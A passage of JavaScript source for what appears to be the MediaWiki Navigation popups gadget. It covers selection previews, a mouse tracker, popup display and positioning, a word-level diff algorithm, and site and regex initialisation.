return doSeparateSelectionPopup(sel, article);
}
if (close > 0 && sel.substring(close + 2).indexOf('[[') >= 0) {
return;
}
const a = document.createElement('a');
a.href = pg.wiki.titlebase + article.urlString();
mouseOverWikiLink2(a);
if (a.navpopup) {
a.navpopup.addHook(
() => {
runStopPopupTimer(a.navpopup);
},
'unhide',
'after'
);
}
}
function doSeparateSelectionPopup(str, article) {
let div = document.getElementById('selectionPreview');
if (!div) {
div = document.createElement('div');
div.id = 'selectionPreview';
try {
const box = document.editform.wpTextbox1;
box.parentNode.insertBefore(div, box);
} catch (error) {
return;
}
}
const p = prepPreviewmaker(str, article, newNavpopup(document.createElement('a'), article));
p.makePreview();
if (p.html) {
div.innerHTML = p.html;
}
div.ranSetupTooltipsAlready = false;
popTipsSoonFn('selectionPreview')();
}
// ENDFILE: selpop.js
// STARTFILE: navpopup.js
/**
* @file Defines two classes: {@link Navpopup} and {@link Mousetracker}.
*
* <code>Navpopup</code> describes popups: when they appear, where, what
* they look like and so on.
*
* <code>Mousetracker</code> "captures" the mouse using
* <code>document.onmousemove</code>.
*/
/**
* Creates a new Mousetracker.
*
* @constructor
* @class The Mousetracker class. This monitors mouse movements and manages associated hooks.
*/
function Mousetracker() {
/**
* Interval to regularly run the hooks anyway, in milliseconds.
*
* @type {number}
*/
this.loopDelay = 400;
/**
* Timer for the loop.
*
* @type {Timer}
*/
this.timer = null;
/**
* Flag - are we switched on?
*
* @type {boolean}
*/
this.active = false;
/**
* Flag - are we probably inaccurate, i.e. not reflecting the actual mouse position?
*/
this.dirty = true;
/**
* Array of hook functions.
*
* @private
* @type {Array}
*/
this.hooks = [];
}
/**
* Adds a hook, to be called when we get events.
*
* @param {Function} f A function which is called as
* <code>f(x,y)</code>. It should return <code>true</code> when it
* wants to be removed, and <code>false</code> otherwise.
*/
Mousetracker.prototype.addHook = function (f) {
this.hooks.push(f);
};
/**
* Runs hooks, passing them the x
* and y coords of the mouse. Hook functions that return true are
* passed to {@link Mousetracker#removeHooks} for removal.
*
* @private
*/
Mousetracker.prototype.runHooks = function () {
if (!this.hooks || !this.hooks.length) {
return;
}
//log('Mousetracker.runHooks; we got some hooks to run');
let remove = false;
const removeObj = {};
// this method gets called a LOT -
// pre-cache some variables
const x = this.x,
y = this.y,
len = this.hooks.length;
for (let i = 0; i < len; ++i) {
//~ run the hook function, and remove it if it returns true
if (this.hooks[i](x, y) === true) {
remove = true;
removeObj[i] = true;
}
}
if (remove) {
this.removeHooks(removeObj);
}
};
/**
* Removes hooks.
*
* @private
* @param {Object} removeObj An object whose keys are the index
* numbers of functions for removal, with values that evaluate to true
*/
Mousetracker.prototype.removeHooks = function (removeObj) {
const newHooks = [];
const len = this.hooks.length;
for (let i = 0; i < len; ++i) {
if (!removeObj[i]) {
newHooks.push(this.hooks[i]);
}
}
this.hooks = newHooks;
};
/**
* Event handler for mouse wiggles.
* We simply grab the event, set x and y and run the hooks.
* This makes the cpu all hot and bothered :-(
*
* @private
* @param {Event} e Mousemove event
*/
Mousetracker.prototype.track = function (e) {
//~ Apparently this is needed in IE.
e = e || window.event;
let x, y;
if (e) {
if (e.pageX) {
x = e.pageX;
y = e.pageY;
} else if (typeof e.clientX != 'undefined') {
let left,
top,
docElt = document.documentElement;
if (docElt) {
left = docElt.scrollLeft;
}
left = left || document.body.scrollLeft || document.scrollLeft || 0;
if (docElt) {
top = docElt.scrollTop;
}
top = top || document.body.scrollTop || document.scrollTop || 0;
x = e.clientX + left;
y = e.clientY + top;
} else {
return;
}
this.setPosition(x, y);
}
};
/**
* Sets the x and y coordinates stored and takes appropriate action,
* running hooks as appropriate.
*
* @param {number} x Screen coordinates to set
* @param {number} y Screen coordinates to set
*/
Mousetracker.prototype.setPosition = function (x, y) {
this.x = x;
this.y = y;
if (this.dirty || this.hooks.length === 0) {
this.dirty = false;
return;
}
if (typeof this.lastHook_x != 'number') {
this.lastHook_x = -100;
this.lastHook_y = -100;
}
let diff = (this.lastHook_x - x) * (this.lastHook_y - y);
diff = diff >= 0 ? diff : -diff;
if (diff > 1) {
this.lastHook_x = x;
this.lastHook_y = y;
if (this.dirty) {
this.dirty = false;
} else {
this.runHooks();
}
}
};
/**
* Sets things in motion, unless they are already that is, registering an event handler on
* <code>document.onmousemove</code>. A half-hearted attempt is made to preserve the old event
* handler if there is one.
*/
Mousetracker.prototype.enable = function () {
if (this.active) {
return;
}
this.active = true;
//~ Save the current handler for mousemove events. This isn't too
//~ robust, of course.
this.savedHandler = document.onmousemove;
//~ Gotta save @tt{this} again for the closure, and use apply for
//~ the member function.
const savedThis = this;
document.onmousemove = function (e) {
savedThis.track.apply(savedThis, [e]);
};
if (this.loopDelay) {
this.timer = setInterval(() => {
//log('loop delay in mousetracker is working');
savedThis.runHooks();
}, this.loopDelay);
}
};
/**
* Disables the tracker, removing the event handler.
*/
Mousetracker.prototype.disable = function () {
if (!this.active) {
return;
}
if (typeof this.savedHandler === 'function') {
document.onmousemove = this.savedHandler;
} else {
delete document.onmousemove;
}
if (this.timer) {
clearInterval(this.timer);
}
this.active = false;
};
/**
* Creates a new Navpopup.
* Gets a UID for the popup and
*
* @param init Contructor object. If <code>init.draggable</code> is true or absent, the popup becomes draggable.
* @constructor
* @class The Navpopup class. This generates popup hints, and does some management of them.
*/
function Navpopup(/*init*/) {
//alert('new Navpopup(init)');
/**
* UID for each Navpopup instance.
* Read-only.
*
* @type {number}
*/
this.uid = Navpopup.uid++;
/**
* Read-only flag for current visibility of the popup.
*
* @type {boolean}
* @private
*/
this.visible = false;
/** Flag to be set when we want to cancel a previous request to
* show the popup in a little while.
*
* @private
* @type {boolean}
*/
this.noshow = false;
/** Categorised list of hooks.
* @see #runHooks
* @see #addHook
* @private
* @type {Object}
*/
this.hooks = {
create: [],
unhide: [],
hide: [],
};
/**
* list of unique IDs of hook functions, to avoid duplicates
*
* @private
*/
this.hookIds = {};
/** List of downloads associated with the popup.
* @private
* @type {Array}
*/
this.downloads = [];
/**
* Number of uncompleted downloads.
*
* @type {number}
*/
this.pending = null;
/**
* Tolerance in pixels when detecting whether the mouse has left the popup.
*
* @type {number}
*/
this.fuzz = 5;
/**
* Flag to toggle running {@link #limitHorizontalPosition} to regulate the popup's position.
*
* @type {boolean}
*/
this.constrained = true;
/**
* The popup width in pixels.
*
* @private
* @type {number}
*/
this.width = 0;
/**
* The popup width in pixels.
*
* @private
* @type {number}
*/
this.height = 0;
/**
* The main content DIV element.
*
* @type {HTMLDivElement}
*/
this.mainDiv = null;
this.createMainDiv();
// if (!init || typeof init.popups_draggable=='undefined' || init.popups_draggable) {
// this.makeDraggable(true);
// }
}
/**
* A UID for each Navpopup. This constructor property is just a counter.
*
* @type {number}
* @private
*/
Navpopup.uid = 0;
/**
* Retrieves the {@link #visible} attribute, indicating whether the popup is currently visible.
*
* @type {boolean}
*/
Navpopup.prototype.isVisible = function () {
return this.visible;
};
/**
* Repositions popup using CSS style.
*
* @private
* @param {number} x x-coordinate (px)
* @param {number} y y-coordinate (px)
* @param {boolean} noLimitHor Don't call {@link #limitHorizontalPosition}
*/
Navpopup.prototype.reposition = function (x, y, noLimitHor) {
log('reposition(' + x + ',' + y + ',' + noLimitHor + ')');
if (typeof x != 'undefined' && x !== null) {
this.left = x;
}
if (typeof y != 'undefined' && y !== null) {
this.top = y;
}
if (typeof this.left != 'undefined' && typeof this.top != 'undefined') {
this.mainDiv.style.left = this.left + 'px';
this.mainDiv.style.top = this.top + 'px';
}
if (!noLimitHor) {
this.limitHorizontalPosition();
}
//console.log('navpop'+this.uid+' - (left,top)=(' + this.left + ',' + this.top + '), css=('
//+ this.mainDiv.style.left + ',' + this.mainDiv.style.top + ')');
};
/**
* Prevents popups from being in silly locations. Hopefully.
* Should not be run if {@link #constrained} is true.
*
* @private
*/
Navpopup.prototype.limitHorizontalPosition = function () {
if (!this.constrained || this.tooWide) {
return;
}
this.updateDimensions();
const x = this.left;
const w = this.width;
const cWidth = document.body.clientWidth;
// log('limitHorizontalPosition: x='+x+
// ', this.left=' + this.left +
// ', this.width=' + this.width +
// ', cWidth=' + cWidth);
if (
x + w >= cWidth ||
(x > 0 &&
this.maxWidth &&
this.width < this.maxWidth &&
this.height > this.width &&
x > cWidth - this.maxWidth)
) {
// This is a very nasty hack. There has to be a better way!
// We find the "natural" width of the div by positioning it at the far left
// then reset it so that it should be flush right (well, nearly)
this.mainDiv.style.left = '-10000px';
this.mainDiv.style.width = this.maxWidth + 'px';
const naturalWidth = parseInt(this.mainDiv.offsetWidth, 10);
let newLeft = cWidth - naturalWidth - 1;
if (newLeft < 0) {
newLeft = 0;
this.tooWide = true;
} // still unstable for really wide popups?
log(
'limitHorizontalPosition: moving to (' +
newLeft +
',' +
this.top +
');' +
' naturalWidth=' +
naturalWidth +
', clientWidth=' +
cWidth
);
this.reposition(newLeft, null, true);
}
};
/**
* Counter indicating the z-order of the "highest" popup.
* We start the z-index at 1000 so that popups are above everything
* else on the screen.
*
* @private
* @type {number}
*/
Navpopup.highest = 1000;
/**
* Brings popup to the top of the z-order.
* We increment the {@link #highest} property of the contructor here.
*
* @private
*/
Navpopup.prototype.raise = function () {
this.mainDiv.style.zIndex = Navpopup.highest + 1;
++Navpopup.highest;
};
/**
* Shows the popup provided {@link #noshow} is not true.
* Updates the position, brings the popup to the top of the z-order and unhides it.
*/
Navpopup.prototype.show = function () {
//document.title+='s';
if (this.noshow) {
return;
}
//document.title+='t';
this.reposition();
this.raise();
this.unhide();
};
/**
* Checks to see if the mouse pointer has
* stabilised (checking every <code>time</code>/2 milliseconds) and runs the
* {@link #show} method if it has.
*
* @param {number} time The minimum time (ms) before the popup may be shown.
*/
Navpopup.prototype.showSoonIfStable = function (time) {
log('showSoonIfStable, time=' + time);
if (this.visible) {
return;
}
this.noshow = false;
//~ initialize these variables so that we never run @tt{show} after
//~ just half the time
this.stable_x = -10000;
this.stable_y = -10000;
const stableShow = function () {
log('stableShow called');
let new_x = Navpopup.tracker.x,
new_y = Navpopup.tracker.y;
let dx = savedThis.stable_x - new_x,
dy = savedThis.stable_y - new_y;
let fuzz2 = 0; // savedThis.fuzz * savedThis.fuzz;
//document.title += '[' + [savedThis.stable_x,new_x, savedThis.stable_y,new_y, dx, dy, fuzz2].join(',') + '] ';
if (dx * dx <= fuzz2 && dy * dy <= fuzz2) {
log('mouse is stable');
clearInterval(savedThis.showSoonStableTimer);
savedThis.reposition.apply(savedThis, [new_x + 2, new_y + 2]);
savedThis.show.apply(savedThis, []);
savedThis.limitHorizontalPosition.apply(savedThis, []);
return;
}
savedThis.stable_x = new_x;
savedThis.stable_y = new_y;
};
var savedThis = this;
this.showSoonStableTimer = setInterval(stableShow, time / 2);
};
/**
* Sets the {@link #noshow} flag and hides the popup. This should be called
* when the mouse leaves the link before
* (or after) it's actually been displayed.
*/
Navpopup.prototype.banish = function () {
log('banish called');
// hide and prevent showing with showSoon in the future
this.noshow = true;
if (this.showSoonStableTimer) {
log('clearing showSoonStableTimer');
clearInterval(this.showSoonStableTimer);
}
this.hide();
};
/**
* Runs hooks added with {@link #addHook}.
*
* @private
* @param {string} key Key name of the {@link #hooks} array - one of 'create', 'unhide', 'hide'
* @param {string} when Controls exactly when the hook is run: either 'before' or 'after'
*/
Navpopup.prototype.runHooks = function (key, when) {
if (!this.hooks[key]) {
return;
}
const keyHooks = this.hooks[key];
const len = keyHooks.length;
for (let i = 0; i < len; ++i) {
if (keyHooks[i] && keyHooks[i].when == when) {
if (keyHooks[i].hook.apply(this, [])) {
// remove the hook
if (keyHooks[i].hookId) {
delete this.hookIds[keyHooks[i].hookId];
}
keyHooks[i] = null;
}
}
}
};
/**
* Adds a hook to the popup. Hook functions are run with <code>this</code> set to refer to the
* Navpopup instance, and no arguments.
*
* @param {Function} hook The hook function. Functions that return true are deleted.
* @param {string} key Key name of the {@link #hooks} array - one of 'create', 'unhide', 'hide'
* @param {String} when Controls exactly when the hook is run: either 'before' or 'after'
* @param {String} uid A truthy string identifying the hook function; if it matches another hook
* in this position, it won't be added again.
*/
Navpopup.prototype.addHook = function (hook, key, when, uid) {
when = when || 'after';
if (!this.hooks[key]) {
return;
}
// if uid is specified, don't add duplicates
let hookId = null;
if (uid) {
hookId = [key, when, uid].join('|');
if (this.hookIds[hookId]) {
return;
}
this.hookIds[hookId] = true;
}
this.hooks[key].push({ hook: hook, when: when, hookId: hookId });
};
/**
* Creates the main DIV element, which contains all the actual popup content.
* Runs hooks with key 'create'.
*
* @private
*/
Navpopup.prototype.createMainDiv = function () {
if (this.mainDiv) {
return;
}
this.runHooks('create', 'before');
const mainDiv = document.createElement('div');
const savedThis = this;
mainDiv.onclick = function (e) {
savedThis.onclickHandler(e);
};
mainDiv.className = this.className ? this.className : 'navpopup_maindiv';
mainDiv.id = mainDiv.className + this.uid;
mainDiv.style.position = 'absolute';
mainDiv.style.minWidth = '350px';
mainDiv.style.display = 'none';
mainDiv.className = 'navpopup';
// easy access to javascript object through DOM functions
mainDiv.navpopup = this;
this.mainDiv = mainDiv;
document.body.appendChild(mainDiv);
this.runHooks('create', 'after');
};
/**
* Calls the {@link #raise} method.
*
* @private
*/
Navpopup.prototype.onclickHandler = function (/*e*/) {
this.raise();
};
/**
* Makes the popup draggable, using a {@link Drag} object.
*
* @private
*/
Navpopup.prototype.makeDraggable = function (handleName) {
if (!this.mainDiv) {
this.createMainDiv();
}
const drag = new Drag();
if (!handleName) {
drag.startCondition = function (e) {
try {
if (!e.shiftKey) {
return false;
}
} catch (err) {
return false;
}
return true;
};
}
let dragHandle;
if (handleName) {
dragHandle = document.getElementById(handleName);
}
if (!dragHandle) {
dragHandle = this.mainDiv;
}
const np = this;
drag.endHook = function (x, y) {
Navpopup.tracker.dirty = true;
np.reposition(x, y);
};
drag.init(dragHandle, this.mainDiv);
};
/**
* Hides the popup using CSS. Runs hooks with key 'hide'.
* Sets {@link #visible} appropriately.
* {@link #banish} should be called externally instead of this method.
*
* @private
*/
Navpopup.prototype.hide = function () {
this.runHooks('hide', 'before');
this.abortDownloads();
if (typeof this.visible != 'undefined' && this.visible) {
this.mainDiv.style.display = 'none';
this.visible = false;
}
this.runHooks('hide', 'after');
};
/**
* Shows the popup using CSS. Runs hooks with key 'unhide'.
* Sets {@link #visible} appropriately. {@link #show} should be called externally instead of this method.
*
* @private
*/
Navpopup.prototype.unhide = function () {
this.runHooks('unhide', 'before');
if (typeof this.visible != 'undefined' && !this.visible) {
this.mainDiv.style.display = 'inline';
this.visible = true;
}
this.runHooks('unhide', 'after');
};
/**
* Sets the <code>innerHTML</code> attribute of the main div containing the popup content.
*
* @param {string} html The HTML to set.
*/
Navpopup.prototype.setInnerHTML = function (html) {
this.mainDiv.innerHTML = html;
};
/**
* Updates the {@link #width} and {@link #height} attributes with the CSS properties.
*
* @private
*/
Navpopup.prototype.updateDimensions = function () {
this.width = parseInt(this.mainDiv.offsetWidth, 10);
this.height = parseInt(this.mainDiv.offsetHeight, 10);
};
/**
* Checks if the point (x,y) is within {@link #fuzz} of the
* {@link #mainDiv}.
*
* @param {number} x x-coordinate (px)
* @param {number} y y-coordinate (px)
* @type {boolean}
*/
Navpopup.prototype.isWithin = function (x, y) {
//~ If we're not even visible, no point should be considered as
//~ being within the popup.
if (!this.visible) {
return false;
}
this.updateDimensions();
const fuzz = this.fuzz || 0;
//~ Use a simple box metric here.
return (
x + fuzz >= this.left &&
x - fuzz <= this.left + this.width &&
y + fuzz >= this.top &&
y - fuzz <= this.top + this.height
);
};
/**
* Adds a download to {@link #downloads}.
*
* @param {Downloader} download
*/
Navpopup.prototype.addDownload = function (download) {
if (!download) {
return;
}
this.downloads.push(download);
};
/**
* Aborts the downloads listed in {@link #downloads}.
*
* @see Downloader#abort
*/
Navpopup.prototype.abortDownloads = function () {
for (let i = 0; i < this.downloads.length; ++i) {
const d = this.downloads[i];
if (d && d.abort) {
d.abort();
}
}
this.downloads = [];
};
/**
* A {@link Mousetracker} instance which is a property of the constructor (pseudo-global).
*/
Navpopup.tracker = new Mousetracker();
// ENDFILE: navpopup.js
// STARTFILE: diff.js
/*
* Javascript Diff Algorithm
* By John Resig (http://ejohn.org/) and [[:en:User:Lupin]]
*
* More Info:
* http://ejohn.org/projects/javascript-diff-algorithm/
*/
function delFmt(x) {
if (!x.length) {
return '';
}
return "<del class='popupDiff'>" + x.join('') + '</del>';
}
function insFmt(x) {
if (!x.length) {
return '';
}
return "<ins class='popupDiff'>" + x.join('') + '</ins>';
}
function countCrossings(a, b, i, eject) {
// count the crossings on the edge starting at b[i]
if (!b[i].row && b[i].row !== 0) {
return -1;
}
let count = 0;
for (let j = 0; j < a.length; ++j) {
if (!a[j].row && a[j].row !== 0) {
continue;
}
if ((j - b[i].row) * (i - a[j].row) > 0) {
if (eject) {
return true;
}
count++;
}
}
return count;
}
function shortenDiffString(str, context) {
const re = /(<del[\s\S]*?<\/del>|<ins[\s\S]*?<\/ins>)/;
const splitted = str.parenSplit(re);
let ret = [''];
for (let i = 0; i < splitted.length; i += 2) {
if (splitted[i].length < 2 * context) {
ret[ret.length - 1] += splitted[i];
if (i + 1 < splitted.length) {
ret[ret.length - 1] += splitted[i + 1];
}
continue;
} else {
if (i > 0) {
ret[ret.length - 1] += splitted[i].substring(0, context);
}
if (i + 1 < splitted.length) {
ret.push(splitted[i].substring(splitted[i].length - context) + splitted[i + 1]);
}
}
}
while (ret.length > 0 && !ret[0]) {
ret = ret.slice(1);
}
return ret;
}
function diffString(o, n, simpleSplit) {
const splitRe = /([[]{2}|[\]]{2}|[{]{2,3}|[}]{2,3}|[|]|=|<|>|[*:]+|\s|\b)/;
// We need to split the strings o and n first, and entify() the parts
// individually, so that the HTML entities are never cut apart. (AxelBoldt)
let out, i, oSplitted, nSplitted;
if (simpleSplit) {
oSplitted = o.split(/\b/);
nSplitted = n.split(/\b/);
} else {
oSplitted = o.parenSplit(splitRe);
nSplitted = n.parenSplit(splitRe);
}
for (i = 0; i < oSplitted.length; ++i) {
oSplitted[i] = oSplitted[i].entify();
}
for (i = 0; i < nSplitted.length; ++i) {
nSplitted[i] = nSplitted[i].entify();
}
out = diff(oSplitted, nSplitted);
let str = '';
let acc = []; // accumulator for prettier output
// crossing pairings -- eg 'A B' vs 'B A' -- cause problems, so let's iron them out
// this doesn't always do things optimally but it should be fast enough
let maxOutputPair = 0;
for (i = 0; i < out.n.length; ++i) {
if (out.n[i].paired) {
if (maxOutputPair > out.n[i].row) {
// tangle - delete pairing
out.o[out.n[i].row] = out.o[out.n[i].row].text;
out.n[i] = out.n[i].text;
}
if (maxOutputPair < out.n[i].row) {
maxOutputPair = out.n[i].row;
}
}
}
// output the stuff preceding the first paired old line
for (i = 0; i < out.o.length && !out.o[i].paired; ++i) {
acc.push(out.o[i]);
}
str += delFmt(acc);
acc = [];
// main loop
for (i = 0; i < out.n.length; ++i) {
// output unpaired new "lines"
while (i < out.n.length && !out.n[i].paired) {
acc.push(out.n[i++]);
}
str += insFmt(acc);
acc = [];
if (i < out.n.length) {
// this new "line" is paired with the (out.n[i].row)th old "line"
str += out.n[i].text;
// output unpaired old rows starting after this new line's partner
let m = out.n[i].row + 1;
while (m < out.o.length && !out.o[m].paired) {
acc.push(out.o[m++]);
}
str += delFmt(acc);
acc = [];
}
}
return str;
}
// see http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Global_Objects:Object
// FIXME: use obj.hasOwnProperty instead of this kludge!
const jsReservedProperties = RegExp(
'^(constructor|prototype|__((define|lookup)[GS]etter)__' +
'|eval|hasOwnProperty|propertyIsEnumerable' +
'|to(Source|String|LocaleString)|(un)?watch|valueOf)$'
);
function diffBugAlert(word) {
if (!diffBugAlert.list[word]) {
diffBugAlert.list[word] = 1;
alert('Bad word: ' + word + '\n\nPlease report this bug.');
}
}
diffBugAlert.list = {};
function makeDiffHashtable(src) {
const ret = {};
for (let i = 0; i < src.length; i++) {
if (jsReservedProperties.test(src[i])) {
src[i] += '<!-- -->';
}
if (!ret[src[i]]) {
ret[src[i]] = [];
}
try {
ret[src[i]].push(i);
} catch (err) {
diffBugAlert(src[i]);
}
}
return ret;
}
function diff(o, n) {
// pass 1: make hashtable ns with new rows as keys
const ns = makeDiffHashtable(n);
// pass 2: make hashtable os with old rows as keys
const os = makeDiffHashtable(o);
// pass 3: pair unique new rows and matching unique old rows
let i;
for (i in ns) {
if (ns[i].length == 1 && os[i] && os[i].length == 1) {
n[ns[i][0]] = { text: n[ns[i][0]], row: os[i][0], paired: true };
o[os[i][0]] = { text: o[os[i][0]], row: ns[i][0], paired: true };
}
}
// pass 4: pair matching rows immediately following paired rows (not necessarily unique)
for (i = 0; i < n.length - 1; i++) {
if (
n[i].paired &&
!n[i + 1].paired &&
n[i].row + 1 < o.length &&
!o[n[i].row + 1].paired &&
n[i + 1] == o[n[i].row + 1]
) {
n[i + 1] = { text: n[i + 1], row: n[i].row + 1, paired: true };
o[n[i].row + 1] = { text: o[n[i].row + 1], row: i + 1, paired: true };
}
}
// pass 5: pair matching rows immediately preceding paired rows (not necessarily unique)
for (i = n.length - 1; i > 0; i--) {
if (
n[i].paired &&
!n[i - 1].paired &&
n[i].row > 0 &&
!o[n[i].row - 1].paired &&
n[i - 1] == o[n[i].row - 1]
) {
n[i - 1] = { text: n[i - 1], row: n[i].row - 1, paired: true };
o[n[i].row - 1] = { text: o[n[i].row - 1], row: i - 1, paired: true };
}
}
return { o: o, n: n };
}
// ENDFILE: diff.js
// STARTFILE: init.js
function setSiteInfo() {
if (window.popupLocalDebug) {
pg.wiki.hostname = 'en.wikipedia.org';
} else {
pg.wiki.hostname = location.hostname; // use in preference to location.hostname for flexibility (?)
}
pg.wiki.wikimedia = /(wiki([pm]edia|source|books|news|quote|versity|species|voyage|data)|metawiki|wiktionary|mediawiki)[.]org/.test(pg.wiki.hostname);
pg.wiki.wikia = /[.]wikia[.]com$/i.test(pg.wiki.hostname);
pg.wiki.isLocal = /^localhost/.test(pg.wiki.hostname);
pg.wiki.commons =
pg.wiki.wikimedia && pg.wiki.hostname != 'commons.wikimedia.org' ?
'commons.wikimedia.org' :
null;
pg.wiki.lang = mw.config.get('wgContentLanguage');
const port = location.port ? ':' + location.port : '';
pg.wiki.sitebase = pg.wiki.hostname + port;
}
function setUserInfo() {
const params = {
action: 'query',
list: 'users',
ususers: mw.config.get('wgUserName'),
usprop: 'rights',
};
pg.user.canReview = false;
if (getValueOf('popupReview')) {
getMwApi()
.get(params)
.done((data) => {
const rights = data.query.users[0].rights;
pg.user.canReview = rights.indexOf('review') !== -1; // TODO: Should it be a getValueOf('ReviewRight') ?
});
}
}
function fetchSpecialPageNames() {
const params = {
action: 'query',
meta: 'siteinfo',
siprop: 'specialpagealiases',
formatversion: 2,
// cache for an hour
uselang: 'content',
maxage: 3600,
};
return getMwApi()
.get(params)
.then((data) => {
pg.wiki.specialpagealiases = data.query.specialpagealiases;
});
}
function setTitleBase() {
const protocol = window.popupLocalDebug ? 'http:' : location.protocol;
pg.wiki.articlePath = mw.config.get('wgArticlePath').replace(/\/\$1/, ''); // as in http://some.thing.com/wiki/Article
pg.wiki.botInterfacePath = mw.config.get('wgScript');
pg.wiki.APIPath = mw.config.get('wgScriptPath') + '/api.php';
// default mediawiki setting is paths like http://some.thing.com/articlePath/index.php?title=foo
const titletail = pg.wiki.botInterfacePath + '?title=';
//var titletail2 = joinPath([pg.wiki.botInterfacePath, 'wiki.phtml?title=']);
// other sites may need to add code here to set titletail depending on how their urls work
pg.wiki.titlebase = protocol + '//' + pg.wiki.sitebase + titletail;
//pg.wiki.titlebase2 = protocol + '//' + joinPath([pg.wiki.sitebase, titletail2]);
pg.wiki.wikibase = protocol + '//' + pg.wiki.sitebase + pg.wiki.botInterfacePath;
pg.wiki.apiwikibase = protocol + '//' + pg.wiki.sitebase + pg.wiki.APIPath;
pg.wiki.articlebase = protocol + '//' + pg.wiki.sitebase + pg.wiki.articlePath;
pg.wiki.commonsbase = protocol + '//' + pg.wiki.commons + pg.wiki.botInterfacePath;
pg.wiki.apicommonsbase = protocol + '//' + pg.wiki.commons + pg.wiki.APIPath;
pg.re.basenames = RegExp(
'^(' +
map(literalizeRegex, [
pg.wiki.titlebase, //pg.wiki.titlebase2,
pg.wiki.articlebase,
]).join('|') +
')'
);
}
//////////////////////////////////////////////////
// Global regexps
function setMainRegex() {
const reStart = '[^:]*://';
let preTitles =
// Take customizable wgScript into account (it isn't guaranteed to be index.php)
'(?:' + literalizeRegex(mw.config.get('wgScript')) + '|' +
// handle index.php (likely to work even if different from wgScript) and legacy wiki.phtml
literalizeRegex(mw.config.get('wgScriptPath')) + '/(?:index[.]php|wiki[.]phtml))';
preTitles += '[?]title=|' + literalizeRegex(pg.wiki.articlePath + '/');
const reEnd = '(' + preTitles + ')([^&?#]*)[^#]*(?:#(.+))?';
pg.re.main = RegExp(reStart + literalizeRegex(pg.wiki.sitebase) + reEnd);
}
function buildSpecialPageGroup(specialPageObj) {
const variants = [];
variants.push(mw.util.escapeRegExp(specialPageObj.realname));
variants.push(mw.util.escapeRegExp(encodeURI(specialPageObj.realname)));
specialPageObj.aliases.forEach((alias) => {
variants.push(mw.util.escapeRegExp(alias));
variants.push(mw.util.escapeRegExp(encodeURI(alias)));
});
return variants.join('|');
}
function setRegexps() {
setMainRegex();
const sp = nsRe(pg.nsSpecialId);
pg.re.urlNoPopup = RegExp('((title=|/)' + sp + '(?:%3A|:)|section=[0-9]|^#$)');
pg.wiki.specialpagealiases.forEach((specialpage) => {
if (specialpage.realname === 'Contributions') {
pg.re.contribs = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/|/' +
nsRe(pg.nsUserId) +
':)(.*)',
'i'
);
} else if (specialpage.realname === 'Diff') {
pg.re.specialdiff = RegExp(
'/' + sp + '(?:%3A|:)(?:' + buildSpecialPageGroup(specialpage) + ')/([^?#]*)',
'i'
);
} else if (specialpage.realname === 'Emailuser') {
pg.re.email = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/|/(?:' +
nsRe(pg.nsUserId) +
':)?)(.*)',
'i'
);
} else if (specialpage.realname === 'Whatlinkshere') {
pg.re.backlinks = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/)([^&]*)',
'i'
);
}
});
const im = nsReImage();
// note: tries to get images in infobox templates too, e.g. movie pages, album pages etc
// (^|\[\[)image: *([^|\]]*[^|\] ]) *
// (^|\[\[)image: *([^|\]]*[^|\] ])([^0-9\]]*([0-9]+) *px)?
// $4 = 120 as in 120px
pg.re.image = RegExp(
'(^|\\[\\[)' +
im +
': *([^|\\]]*[^|\\] ])' +
'([^0-9\\]]*([0-9]+) *px)?|(?:\\n *[|]?|[|]) *' +
'(' +
getValueOf('popupImageVarsRegexp') +
')' +
' *= *(?:\\[\\[ *)?(?:' +
im +
':)?' +
'([^|]*?)(?:\\]\\])? *[|]? *\\n',
'img'
);
pg.re.imageBracketCount = 6;
pg.re.category = RegExp('\\[\\[' + nsRe(pg.nsCategoryId) + ': *([^|\\]]*[^|\\] ]) *', 'i');
pg.re.categoryBracketCount = 1;
pg.re.ipUser = RegExp(
'^' +
// IPv6
'(?::(?::|(?::[0-9A-Fa-f]{1,4}){1,7})|[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4}){0,6}::|[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4}){7})' +
// IPv4
'|(((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}' +
'(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9]))$'
);
pg.re.stub = RegExp(getValueOf('popupStubRegexp'), 'im');
pg.re.disambig = RegExp(getValueOf('popupDabRegexp'), 'im');
// FIXME replace with general parameter parsing function, this is daft
pg.re.oldid = /[?&]oldid=([^&]*)/;
pg.re.diff = /[?&]diff=([^&]*)/;
}
//////////////////////////////////////////////////
// miscellany
function setupCache() {
// page caching
pg.cache.pages = [];
}
function setMisc() {
pg.current.link = null;
pg.current.links = [];
pg.current.linksHash = {};
setupCache();
pg.timer.checkPopupPosition = null;
pg.counter.loop = 0;
// ids change with each popup: popupImage0, popupImage1 etc
pg.idNumber = 0;
// for myDecodeURI
pg.misc.decodeExtras = [
{ from: '%2C', to: ',' },
{ from: '_', to: ' ' },
{ from: '%24', to: '$' },
{ from: '%26', to: '&' }, // no ,
];
}
function getMwApi() {
if (!pg.api.client) {
pg.api.userAgent = 'Navigation popups/1.0 (' + mw.config.get('wgServerName') + ')';
pg.api.client = new mw.Api({
ajax: {
headers: {
'Api-User-Agent': pg.api.userAgent,
},
},
});
}
return pg.api.client;
}
// We need a callback since this might end up asynchronous because of
// the mw.loader.using() call.
function setupPopups(callback) {
if (setupPopups.completed) {
if (typeof callback === 'function') {
callback();
}
return;
}
// These dependencies should alse be enforced from the gadget,
// but not everyone loads this as a gadget, so double check
mw.loader
.using([
'mediawiki.util',
'mediawiki.api',
'mediawiki.user',
'user.options',
'mediawiki.jqueryMsg',
])
.then(fetchSpecialPageNames)
.then(() => {
// NB translatable strings should be set up first (strings.js)
// basics
setupDebugging();
setSiteInfo();
setTitleBase();
setOptions(); // see options.js
setUserInfo();
// namespaces etc
setNamespaces();
setInterwiki();
// regexps
setRegexps();
setRedirs();
// other stuff
setMisc();
setupLivePreview();
// main deal here
setupTooltips();
log('In setupPopups(), just called setupTooltips()');
Navpopup.tracker.enable();
setupPopups.completed = true;
if (typeof callback === 'function') {
callback();
}
});
}
// ENDFILE: init.js
